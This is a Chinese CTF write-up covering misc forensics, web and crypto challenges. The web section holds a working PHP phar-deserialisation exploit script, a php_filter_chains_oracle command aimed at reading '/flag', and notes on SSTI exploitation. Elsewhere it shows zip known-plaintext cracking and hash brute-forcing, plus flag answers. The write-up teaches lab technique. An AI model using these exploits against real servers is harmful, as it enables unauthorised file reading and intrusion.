Misc
简单算术
题目提示异或,直接把开头字符 y 与 f 异或,得到的是不可见字符,base64 编码一下得到异或的字符,将给出的每一个字符与编码后的结果异或即可得到 flag
import base64result = chr((ord("y") ^ ord("f")))
result_bytes = result.encode('utf-8')
encoded = base64.b64encode(result_bytes)
print(encoded)
flag 值:flag{x0r_Brute_is_easy!}
See anything in these pics?
首先识别 Aztec 码得到解压密码
解压后一张 jpg 图片,查看文件尾发现有个 png 文件
formost 分离然后修复图片宽高即可得到 flag
flag 值:flag{opium_00pium}
简单镜像提取
一个流量包,放入随波逐流发现流量中包含 zip 文件,formost 分离出 zip
得到一个 img 镜像文件,搞了半天没找到,于是再次放入随波逐流 formost 分离,得到一个 xls 文件,打开即可得到 flag
flag 值:flag{E7A10C15E26AA5750070EF756AAA1F7C}
压力大,写个脚本吧
压缩包套娃解密,每层的密码都要先 base64 解一下才是真正的密码,脚本如下:
import os
import zipfile
import base64def extract_zip(zip_path, password):with zipfile.ZipFile(zip_path) as zf:zf.extractall(pwd=password.encode('utf-8'))print(f"成功解压: {zip_path}")return Truedef main():for i in range(99, -1, -1): # 从 99 到 0zip_name = f"zip_{i}.zip"password_file = f"password_{i}.txt"with open(password_file, 'r') as f:encoded_password = f.read().strip()password = base64.b64decode(encoded_password).decode('utf-8')print(f"正在解压 {zip_name},使用密码: {password}")if not extract_zip(zip_name, password):breakif __name__ == "__main__":main()
解密之后有一个 hint.txt,内容为 PASSWORD+PASSWORD.png
也就是解压密码连起来是一张图片,写脚本如下:
import os
import base64def merge_passwords():merged_data = ""for i in range(100):password_file = f"password_{i}.txt"with open(password_file, 'r') as f:merged_data += f.read().strip()data = base64.b64decode(merged_data).decode('utf-8')return dataif __name__ == "__main__":data = merge_passwords()with open("merged_passwords.txt", 'w') as f:f.write(data)
将得到的 16 进制文本复制到 010 转化为图片,是一张二维码,扫码得到 flag
flag 值:flag{_PASSWORDs_is_fl@g!_}
ez_forensics(复现)
首先使用 Lovelymem 工具挂载
翻到一个 hint.txt,提示 60 = ( ) + ( ),和羊城杯一样,rot13+rot47,解码得到提示,7z 密码是从 hashdump 中得到的
不知道为啥 7z 文件是空的,使用另一个软件 R-Studio 挂载镜像,恢复 f14g.7z 文件,密码使用 hashdump 命令查到 Flu0r1n3 用户的密码,cmd5 查到明文
解压得到一个提示和一个 ini 配置文件,提示是 ssh 连接,ini 文件是 MobaXterm 的配置文件,需要用到一个项目恢复密码,项目地址如下:
https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
ini 文件里的密码配置文件如下:
把 flag_is_here 当作主密码来显示出 root 用户密码,命令如下:
python MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
执行命令,然后把大括号里的内容 base64 解密一下,得到 flag
flag 值:flag{you_are_a_g00d_guy}
Weevil's Whisper
webshell 流量分析,首先过滤 http 协议,发现先是上传了一个 shell.php,然后再连接 webshell 进行命令执行
右键追踪 tcp 协议,可以看到上传的 webshell,如下
分析 webshell 逻辑编写解密脚本,然后将命令执行的结果逆向解密,最后一个包解密后就是 flag
解密脚本如下:
<?php
$key = "161ebd7d";
function xorEncryptDecrypt($input, $key) {$keyLength = strlen($key);$inputLength = strlen($input);$output = "";for ($i = 0; $i < $inputLength;) {for ($j = 0; $j < $keyLength && $i < $inputLength; $j++, $i++) {$output .= $input[$i] ^ $key[$j]; // 逐字符 XOR 运算}}return $output;
}
$response = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92";
$prefix = "lFDu8RwONqmag5ex";
$header = "45089b3446ee";
$footer = "4e0d86dbcf92";
$encryptedData = substr($response, strlen($prefix) + strlen($header), -strlen($footer));$base64Decoded = base64_decode($encryptedData);
$decryptedData = xorEncryptDecrypt($base64Decoded, $key);
$uncompressedData = gzuncompress($decryptedData);echo $uncompressedData;
?>
flag 值:flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
NetHttP
给了一个流量包,过滤 http 协议,一眼看出是 ssti 命令执行的攻击
看他执行的命令结果,流 1 是一个 ssti 漏洞,给出了一个 SECRET_KEY
from flask import Flask,request,render_template_string,Response,sessionapp = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():return open(__file__).read()@app.route("/rce",methods=["GET"])
def rce():data = request.args.get("name","Guest")return render_template_string(f"Welcome {data}")if __name__ == "__main__":app.run(host="0.0.0.0",port=8989,debug=False)
在流 13 找到了一个加密了的私钥,尝试使用 SECRET_KEY 解密私钥发现刚好能解
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----
接下来就只剩下密文了,首先分析一下命令,如果截取的字符等于给出的字符,就会回显一个 rce,猜测 m5 文件就是密文,根据回显情况来判断出 m5 文件的内容
if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'U' ]; then echo "rce";fi
我的思路是:先提取出回显是 Welcome rce 的请求包,再提取请求包的参数值,接着 base64 解码,正则获取到 cut -c 命令判断出来的字符,拷打 GPT 得到脚本
这里贴一个提取并合并请求包的 ps1 脚本吧,其他操作比较简单,自行操作即可
$inputFile = "NetHttP.pcapng"
$outputDir = "output"
$mergedFile = "merged_output.pcap"if (-not (Test-Path $outputDir)) {New-Item -ItemType Directory -Path $outputDir
}
$streams = tshark -r $inputFile -Y 'http contains "Welcome rce"' -T fields -e tcp.stream | Sort-Object -Unique
foreach ($stream in $streams) {tshark -r $inputFile -Y "tcp.stream eq $stream" -w "$outputDir\output_stream_$stream.pcap"
}
$outputFiles = Get-ChildItem -Path $outputDir -Filter "output_stream_*.pcap" |Sort-Object { [int]($_ -replace '^.*_(\d+)\.pcap$', '$1') }
if ($outputFiles.Count -gt 0) {$fileList = $outputFiles.FullName -join " "mergecap -w "$outputDir\$mergedFile" $fileListWrite-Host "合并完成!结果已保存到 $outputDir\$mergedFile。"
}
之后使用 tshark 提取 name 参数的值
tshark -r NetHttP.pcapng -Y "http.request.method == GET && http.request.uri.query" -T fields -e http.request.uri.query bas| Select-String -Pattern "name=([^&]*)" -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value } > names.txt
再写脚本正则提取即可得到 base64 编码的密文,如下
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQRmFrZSBGTGFnCm5vIGhlcmUK==
将base64 编码的密文解码一下,然后使用 cyberchef 进行 rsa 解密即可得到 flag
flag 值:flag{343907d2-35a3-4bfe-a5e1-5d6615157851}
音频的秘密
根据提示说 wav 隐写为 deepsound 加密,密码为弱口令,我们使用 deepsound 提取隐藏的文件,密码为 123(试了好久),deepsound2john.py 爆破不出来估计是版本问题
提取出来后还是加密的压缩包,尝试爆破未果后查看加密方式,发现压缩方式是 store,加密方式是 ZipCrypto,所以可以使用明文攻击破解压缩包,命令如下:
bkcrack.exe -C flag.zip -c flag.png -p pngheader -o 0
bkcrack.exe -C flag.zip -k 29d29517 0fa535a9 abc67696 -U 123.zip 123
解压得到一张图片,使用 Stegsolve 工具提取一下通道数据即可得到 flag
flag 值:flag{Y1_Shun_jian_Fa_ZE_Dian_Fu}
Web
easy_flask
随便输入账号登陆,一眼 ssti,直接使用 fenjing 工具一把梭,执行命令得到 flag
flag 值:flag{48ad0cde8345c8b2608933ac4e85147e}
file_copy(复现)
直接用项目跑,项目地址如下:
https://github.com/synacktiv/php_filter_chains_oracle_exploit
项目描述如下,只要使用了列举出的这些函数,就可以在服务器不返回文件内容的情况下泄露文件内容
然后用命令跑就行了,跑太慢我就不跑了,你知道就好(
python filters_chain_oracle_exploit.py --target url --file '/flag' --parameter path
easy_code
进入页面是 2048 小游戏,玩了一会发现没什么信息,尝试访问 /robots.txt,发现泄露的有文件路径
访问 /gogogo.php,是一个套了三层的 php 绕过
第一层:浮点型转整型溢出,浮点型转整形如果溢出就会造成精度损失,666.99999999999999999 会被转成 667,从而绕过第二个和第三个过滤
第二层:一个简单的 cookie 传参,直接传入 pass=admin 即可
第三层:具体逻辑如下:
if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {echo "prohibited prohibited!!!!";} else {echo "试试read.php";include($file);
}
过滤了一些输入输出流,如果绕过就进行文件包含,包含 read.php 文件,我们可以利用伪协议读文件,不过部分过滤器被限制了,使用其他过滤器绕过限制,具体过滤器可以参考这篇文章
https://developer.aliyun.com/article/1478688
将文章给的过滤器放到 burp 里爆破一下,按照响应包长度排序,查看响应包,得到 base64 编码的 flag
base64 解码即可得到 flag
flag 值:flag{d91ea23e927b0e2dca64624cf4c867ca}
easy_php
进入首页下载网站源码,发现是 phar 反序列化,找到一道差不多一模一样的原题
https://blog.csdn.net/qq_51584770/article/details/121218448
文件都一样,功能都一样,难绷,只改了两个地方
一个是 class.php 里的一个类名 C1e4r 换成了 Chunqiu,另一处是 flag 的位置,改到了根目录
修改原题 payload 如下:
<?phpclass Chunqiu {public $test;public $str;
}
class Show {public $source;public $str;
}
class Test {public $file;public $params;public function __construct() {$this->params = array('source'=>'/flag');}
}$c = new Chunqiu();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
echo(serialize($c));
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
将生成的 exp.phar 文件后缀改成 jpg 绕过 waf 检测,然后在 /upload_file.php 上传
虽然乱码了,但应该是成功了,访问 /upload/ 找到上传后的文件
在/file.php 使用 phar 协议读文件,触发反序列化,base64 解码得到 flag
flag 值:flag{a16dcb7549915546893a27a6d7927615}
Crypto
你是小哈斯?
下载题目内容得到一串 hash 列表,先把第一个放到 cmd5 网站查看是哪种 hash,可以看到是 sha1
写脚本对每一行 hash 进行单字符爆破,得到 flag
import hashlibcharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"# 爆破单个字符
def crack_hash(target_hash):for char in characters:# 计算当前字符的哈希值hash_value = hashlib.sha1(char.encode()).hexdigest() # 使用 SHA-1# 比较哈希值if hash_value == target_hash:print(f"找到匹配的字符: {char} (哈希值: {target_hash})")return char
# 读取文件并逐行爆破
result_str = ""
with open("题目内容.txt", "r") as file:for line in file:target_hash = line.strip()if target_hash:char = crack_hash(target_hash)if char:result_str += char
# 输出最终的字符串
print(result_str)
最终跑出来的结果是:
1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=
flag 值:flag{game_cqb_isis_cxyz}
通往哈希的旅程
给出一串 hash ca12fd8250972ec363a16593356abb1f3cf3a16d,要求爆破 11 位手机号,写脚本爆破,运行脚本即可得到对应的手机号码,脚本如下:
import hashlib# 目标哈希值
target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"# 手机号前缀
prefix = "188"# 爆破手机号的后 8 位
for i in range(0, 100000000): # 8 位数字范围是 00000000 到 99999999# 生成手机号phone_number = prefix + f"{i:08d}" # 补零到 8 位# 计算 SHA-1 哈希值hash_value = hashlib.sha1(phone_number.encode()).hexdigest()# 比较哈希值if hash_value == target_hash:print(f"找到匹配的手机号: {phone_number}")break# 打印进度(可选)if i % 1000000 == 0: # 每 100 万次打印一次进度print(f"已尝试: {i} 次")
else:print("未找到匹配的手机号。")
flag 值:flag{18876011645}
funny_rsa
本题推导部分就是简单的高中数学,题目给了四个运算结果
利用 funny2 和 funny3 可以推出 n
funny1 可以近似推导出 p 和 q,random_offset 在 [-1025, 1025] 之间,直接爆破,然后解方程 x^2 - (p+q)x + p*q = 0 得到 p 和 q
然后就是正常的解rsa步骤了,脚本如下:
import math
from Crypto.Util.number import bytes_to_long, long_to_bytes, inversefunny1 = int("-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374") # 替换为实际 Funny 1 值
funny2 = int("23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011") # 替换为实际 Funny 2 值
funny3 = int("419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024") # 替换为实际 Funny 3 值
funny4 = int("13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479") # 替换为实际 Funny 4 值n = (funny3 + 1025) // funny2
found = False
for offset in range(-1025, 1026):p_plus_q = funny1 + n - offsetdiscriminant = p_plus_q**2 - 4 * nif discriminant < 0:continuesqrt_discriminant = math.isqrt(discriminant)p = (p_plus_q + sqrt_discriminant) // 2q = (p_plus_q - sqrt_discriminant) // 2if p * q == n:found = Truebreak
phi_n = (p - 1) * (q - 1)
e = 65537
d = inverse(e, phi_n)
hint_long = pow(funny4, d, n)
m_long = funny2 // hint_longprint(long_to_bytes(hint_long))
print(long_to_bytes(m_long))
但是运行得到的却是一个假 flag,hint 说玄机就在数字里面
b'Of course, So good, and enjoy the funny number, it is true flag'
b'fake:flag{5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861}'
尝试把假 flag 里的内容长整数转字符,即可得到真正的 flag
from Crypto.Util.number import long_to_bytes
flag = 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
print(long_to_bytes(flag))
flag 值:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}
最近搭了一个博客,以后wp之类的就直接发博客了,地址:Liebert77の博客